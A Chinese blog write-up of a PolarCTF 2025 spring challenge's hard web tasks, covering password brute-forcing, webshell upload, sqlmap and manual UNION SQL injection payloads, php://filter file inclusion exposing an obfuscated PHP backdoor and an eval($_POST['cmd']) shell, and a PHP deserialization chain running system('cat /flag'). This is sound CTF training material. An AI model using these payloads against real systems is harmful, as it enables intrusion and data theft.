polar【2025春季个人挑战赛】(困难部分)

椰子树晕淡水鱼

看到三个交互点

提示是一个藏头诗,让我们进行文件包含

这两个页面用处不大,可以看到在路径中可以进行文件包含

我们扫一下目录看看有没有什么可以使用的信息

扫描目录可以看到,有上传页面推测需要文件上传

首先看看/password

需要密码

没有这方面的提示应该是4-6位的纯数字

ARCHPR,成功爆出

我们使用刚才的密码本进行爆破

成功爆破

是一个文件上传页面

上传一个木马

修改一下后缀

上传成功

成功获取flag

再给我30元

一道SQL注入题目

没有看到注入点,查看源码,看看有没有提示

在源码中给了提示

告诉我们使用id作为注入点

应该没有人会去扫吧?

我们使用SQLMAP进行注入

SQLMAP注入

python sqlmap.py -u "http://8267e77b-510a-41d
b-9ecb-423e1bef51b6.www.polarctf.com:8090/?id=0" -p id --level=5 --risk=3 --random-agent 
--url 的简写,指定目标注入点 URL
--param 的简写,明确告诉 sqlmap:只测试 id 这个参数是否可注入
检测深度,共 1~5 级,5 是最高级别
风险等级,共 1~3 级,3 是最高级别
每次请求都随机使用一个 User-Agent,用来绕过一些基于 UA 的简单 WAF 或限流规则

我们得到了列数为两列

数据库为MySQL

可用注入类型:布尔盲注、时间盲注、UNION 注入

python sqlmap.py -u "http://8267e77b-510a-41d
b-9ecb-423e1bef51b6.www.polarctf.com:8090/?id=0" -p id --level=5 --risk=3 --random-agent --union-cols=2
--union 注入类型
-cols 列数

对于这题没什么用,说一下可以减少等待的时间

python sqlmap.py -u "http://8267e77b-510a-41d
b-9ecb-423e1bef51b6.www.polarctf.com:8090/?id=0" -p id --level=5 --risk=3 --random-agent --technique=U --dbms=mysql \ --sql-query="UNION SELECT 1,group_cincat(schema_name) FROM information_schema.schemata"
--technique=U 只使用 UNION 注入
--dbms=mysql 直接声明后端是 MySQL
--sql-query="UNION SELECT 1,group_concat(schema_name) FROM information_schema.schemata" 直接执行指定的 SQL 查询(利用 UNION 注入)

可以看到直接把结果保存到了我们的目录下的文件夹

接下来爆破数据库

python sqlmap.py -u "http://8267e77b-510a-41d
b-9ecb-423e1bef51b6.www.polarctf.com:8090/?id=0" -p id --level=5 --risk=3 --random-agent --technique=U --dbms=mysql \ --sql-query="UNION SELECT 1,group_cincat(schema_name) FROM information_schema.schemata" -dump --dbms=mysql
-dump 执行完 --sql-query 后,继续把当前数据库的所有表、所有列、所有数据全部 dump 出来

正常SQL注入可以

手搓

?id=1 group by 2
?id=1 group by 3  #判断列数
?id=-1 union select version(),database()  #爆库
?id=-1 union select version(),(select group_concat(table_name) from information_schema.tables where table_schema=database())  #爆表
?id=-1 union select version(),(select group_concat(column_name) from information_schema.columns where table_name=0x757365725f696e666f)  #爆列
?id=-1 union select version(),(select group_concat(secret) from WelcomeSQL.user_info)  #爆字段

UNION 联合注入,SQLmap的使用

狗黑子CTF变强之路

信息收集

打开环境,页面是ctf变强之路,有三个按钮,随便点一个发现url后面拼上了/index.php?page=miji.php,修改page的值为flag.php无回显,修改为1回显只允许包含php文件,猜测是文件包含漏洞并且只能包含php文件,我们dirsearch扫一下

等待过程中看看还有没有什么信息

好的,没有

一个amin.php,但是我们没有账号和密码

第一种方法

我们利用php伪协议读取?page=php://filter/read=convert.base64-encode/resource=admin.php,解base64后得到一段源码

<?php
if ($_SERVER["REQUEST_METHOD"] == "POST") {
    // 硬编码的用户名和密码
    $correctUsername = "ggouheizi";
    $correctPassword = "zigouhei";

    $username = $_POST['username'];
    $password = $_POST['password'];

    if ($username == $correctUsername && $password == $correctPassword) {
        // 登录成功,直接跳转到 gougougou.php
        header("Location: gougougou.php");
        exit;
    } else {
        $errorMessage = "用户名或密码错误,请重新输入。";
    }
}
?>

<!DOCTYPE html>
<html>

<head>
  <title>秘境遗迹</title>
  <style>
    body {
      font-family: Arial, sans-serif;
      background-color: #f4f4f4;
    }

    form {
      background-color: white;
      padding: 20px;
      border-radius: 10px;
      box-shadow: 0 0 10px rgba(0, 0, 0, 0.2);
      width: 300px;
      position: absolute;
      top: 50%;
      left: 50%;
      transform: translate(-50%, -50%);
    }

    label {
      display: block;
      margin-bottom: 5px;
      font-weight: bold;
    }

    input[type="text"],
    input[type="password"] {
      width: 100%;
      padding: 10px;
      margin-bottom: 15px;
      border: 1px solid #ccc;
      border-radius: 5px;
      box-sizing: border-box;
      transition: border-color 0.3s ease;
    }

    input[type="text"]:focus,
    input[type="password"]:focus {
      border-color: #4CAF50;
    }

    input[type="submit"] {
      padding: 10px 20px;
      background-color: #4CAF50;
      color: white;
      border: none;
      border-radius: 5px;
      cursor: pointer;
      transition: background-color 0.3s ease;
    }

    input[type="submit"]:hover {
      background-color: #45a049;
    }
  </style>
</head>

<body>
  <form method="post">
    <label for="username">用户名:</label><br>
    <input type="text" name="username"><br>
    <label for="password">密码:</label><br>
    <input type="password" name="password"><br><br>
    <input type="submit" value="登录">
    <?php if(isset($errorMessage)) { echo $errorMessage; }?>
  </form>
</body>

</html>

看到有gougougou.php,伪协议读取

<?php 
$gou1="8AZ1mha\vHTnv9k4yAcyPZj98gG47*yESyR3xswJcDD4J2DNar";
$gou2="bgW5SQW9iUFN2anJGeldaeWNIWGZkYXVrcUdnd05wdElCS2lEc3hNRXpxQlprT3V3VWFUS0ZYUmZMZ212Y2hiaXBZZE55QUdzSVdWRVFueGpEUG9IU3RDTUpyZWxtTTlqV0FmeHFuVDJVWWpMS2k5cXcxREZZTkloZ1lSc0RoVVZCd0VYR3ZFN0hNOCtPeD09";
$gou3="tVXTklXR1prWVhWcCmNVZG5kMDV3ZEVsQ1MybEVjM2hOUlhweFFscHJUM1YzVldGVVMwWllVbVpNWjIxMlkyaGlhWEJaWkU1NVFVZHpTVmRXUlZGdWVHcEVVRzlJVTNSRFRVcHlaV3h0VFRscVYwRm1lSEZ1VkRKVldXcE1TMms1Y1hjeFJFWlpUa2xvWjFsU2MwUm9WVlpDZDBWWVIzWkZOMGhOT0N0UGVEMDk=";
$gou4=$gou1{20}.$gou1{41}.$gou1{13}.$gou1{38}.$gou1{6}.$gou1{9}.$gou1{1}.$gou1{25}.$gou1{2};
$gou5=$gou2{30}.$gou2{27}.$gou2{51}.$gou2{0}.$gou2{44}.$gou2{1}.$gou2{28}.$gou2{30}.$gou2{79}.$gou2{87}.$gou2{61}.$gou2{61}.$gou2{79};
$gou6=$gou1{34}.$gou3{36}.$gou1{39}.$gou3{41}.$gou1{47}.$gou3{0}.$gou3{20}.$gou3{16}.$gou3{62}.$gou3{62}.$gou3{159}.$gou3{3}.$gou1{37}.$gou3{231};
#$gou7=Z291MnsxN30uZ291MXs4fS5nb3U0ezR9LmdvdTV7MTJ9KCRnb3U0LiRnb3U1LiRnb3U2KQ==;
?>

这是一段典型的 PHP 混淆壳(“狗壳”、“gou壳”)

我们对$gou7进行base64解码,再将\v换成1v,gou1中的\v可能被认为是一个字符,因为\是转义符,所以把\换成其他可识别字符再解,得到gou7的真实值

<?php 
  $gou1="8AZ1mhavHTnv9k4yAcyPZj98gG47*yESyR3xswJcDD4J2DNar";
$gou2="bgW5SQW9iUFN2anJGeldaeWNIWGZkYXVrcUdnd05wdElCS2lEc3hNRXpxQlprT3V3VWFUS0ZYUmZMZ212Y2hiaXBZZE55QUdzSVdWRVFueGpEUG9IU3RDTUpyZWxtTTlqV0FmeHFuVDJVWWpMS2k5cXcxREZZTkloZ1lSc0RoVVZCd0VYR3ZFN0hNOCtPeD09";
$gou3="tVXTklXR1prWVhWcCmNVZG5kMDV3ZEVsQ1MybEVjM2hOUlhweFFscHJUM1YzVldGVVMwWllVbVpNWjIxMlkyaGlhWEJaWkU1NVFVZHpTVmRXUlZGdWVHcEVVRzlJVTNSRFRVcHlaV3h0VFRscVYwRm1lSEZ1VkRKVldXcE1TMms1Y1hjeFJFWlpUa2xvWjFsU2MwUm9WVlpDZDBWWVIzWkZOMGhOT0N0UGVEMDk=";
$gou4=$gou1{20}.$gou1{41}.$gou1{13}.$gou1{38}.$gou1{6}.$gou1{9}.$gou1{1}.$gou1{25}.$gou1{2};
$gou5=$gou2{30}.$gou2{27}.$gou2{51}.$gou2{0}.$gou2{44}.$gou2{1}.$gou2{28}.$gou2{30}.$gou2{79}.$gou2{87}.$gou2{61}.$gou2{61}.$gou2{79};
$gou6=$gou1{34}.$gou3{36}.$gou1{39}.$gou3{41}.$gou1{47}.$gou3{0}.$gou3{20}.$gou3{16}.$gou3{62}.$gou3{62}.$gou3{159}.$gou3{3}.$gou1{37}.$gou3{231};
#$gou7=Z291MnsxN30uZ291MXs4fS5nb3U0ezR9LmdvdTV7MTJ9KCRnb3U0LiRnb3U1LiRnb3U2KQ==;
$gou8=$gou2{17}.$gou1{8}.$gou4{4}.$gou5{12}.($gou4.$gou5.$gou6);
echo $gou8;
?>

可以看到,这里有一个木马

我们可以直接进行命令执行

还有一种方法

直接伪协议读取index.php

<?php
if (isset($_GET['page'])) {
    $page = $_GET['page'];
    // 简单的文件类型检查,只允许包含 php 文件
    if (strpos($page, '.php')!== false) {
        include($page);
    } else {
        echo "只允许包含 php 文件";
    }
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>狗黑子的小破站</title>
    <style>
        body {
            display: flex;
            flex-direction: column;
            justify-content: center;
            align-items: center;
            min-height: 100vh;
            margin: 0;
        }
    .button {
            display: inline - block;
            padding: 10px 20px;
            margin: 10px;
            background-color: #4CAF50;
            color: white;
            text-decoration: none;
            border-radius: 5px;
        }
    .button:hover {
            background-color: #45a049;
        }
        #content {
            display: flex;
            flex-direction: column;
            align-items: center;
        }
    </style>
</head>
<body>
    <h1>欢迎来到 CTF 变强之路</h1>
    <div id="content">
        <form action="index.php" method="get">
            <input type="hidden" name="page" value="miji.php">
            <input type="submit" value="秘籍" class="button">
        </form>
        <form action="index.php" method="get">
            <input type="hidden" name="page" value="fabao.php">
            <input type="submit" value="法宝" class="button">
        </form>
        <form action="index.php" method="get">
            <input type="hidden" name="page" value="jinshouzhi.php">
            <input type="submit" value="金手指" class="button">
        </form>
    </div>
    <?php
    if (isset($_GET['page'])) {
        echo '<div id="display">';
    }
 ?>
</body>
</html>
<?php @eval($_POST['cmd'])?>

在这里也有木马

伪协议包含+命令执行

小白说收集很重要

题目提示为需要信息收集,我们先来进行信息收集

信息收集

我们进行扫描

/flag.php

/login.php

检测登录的页面

/upload_file.php

上传文件的路径

/users.json

在这里存在,登录的密码

我们先登录看看,有什么信息

继续信息收集

都是一些学习知识

应该是在这里登录admin

经过测试,在短语中的信息是构造密码的关键

复制全部密码,进行爆破

成功爆出admin的账户

sysadmin

xiaobai

成功登录

命令执行

ls

cat /flag

文件上传

想试试可不可以进行文件上传,但是上传什么文件都是报错

反序列化

<?php
  class Boss {
  public $king;
function __destruct() {
  $this->funnn();
}
function funnn() {
  $this->king->close();
}
}
class Staff {
  public $man;
  function close() {
    eval($this->man);
  }
}
if (isset($_GET['data'])) {
  $user_data = unserialize($_GET['data']);
}
  ?>

链子很简单,但是反序列化失败

<?php
  class Boss {
  public $king;
function __destruct() {
  $this->funnn();
}
function funnn() {
  $this->king->close();
}
}
class Staff {
  public $man;
  function close() {
    eval($this->man);
  }
}
$a = new Boss();
$a->king = new Staff();
$a->king->man = 'system("cat /flag");';
echo serialize($a);
  ?>

没明白,是没有做还是我的方法有问题

信息收集,文件上传,命令执行,反序列化

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值